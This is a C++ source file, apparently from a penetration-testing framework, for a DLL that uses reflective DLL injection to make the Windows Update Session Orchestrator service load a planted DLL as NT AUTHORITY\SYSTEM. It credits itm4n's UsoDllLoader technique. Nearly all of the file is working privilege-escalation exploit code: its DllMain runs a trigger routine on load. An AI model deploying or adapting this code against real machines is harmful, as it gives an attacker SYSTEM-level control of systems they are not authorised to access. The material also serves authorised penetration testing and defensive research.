Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/uso_trigger/main.cpp
Views: 11766
/*1* Update Session Orchestrator service DLL load trigger2*3* Author:4* itm4n5* References:6* - https://github.com/itm4n/UsoDllLoader7* - https://itm4n.github.io/usodllloader-part1/8* - https://itm4n.github.io/usodllloader-part2/9*10* Load this DLL to trigger the Update Session Orchestrator service to load the11* DLL at C:\Windows\System32\WindowsCoreDeviceInfo.dll as NT_AUTHORITY\SYSTEM.12* The "Windows Update" service must be running for this technique to work.13*/1415#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR16#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN17#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"18#include "MiniUsoClient.h"1920#include <stdio.h>21#include <stdint.h>22#include <stdlib.h>23#include <windows.h>2425BOOL trigger(void) {26MiniUsoClient miniUsoClient;27DWORD dwDelay = 2000;2829if (!miniUsoClient.Run(USO_STARTSCAN)) {30return FALSE;31}32Sleep(dwDelay);3334if (!miniUsoClient.Run(USO_STARTINTERACTIVESCAN)) {35return FALSE;36}37Sleep(dwDelay);3839if (!miniUsoClient.Run(USO_STARTDOWNLOAD)) {40return FALSE;41}4243return TRUE;44};4546BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)47{48BOOL bReturnValue = TRUE;49switch (dwReason)50{51case DLL_QUERY_HMODULE:52hAppInstance = hinstDLL;53if (lpReserved != NULL)54{55*(HMODULE*)lpReserved = hAppInstance;56}57break;58case DLL_PROCESS_ATTACH:59hAppInstance = hinstDLL;60trigger();61break;62case DLL_PROCESS_DETACH:63case DLL_THREAD_ATTACH:64case DLL_THREAD_DETACH:65break;66}67return bReturnValue;68}697071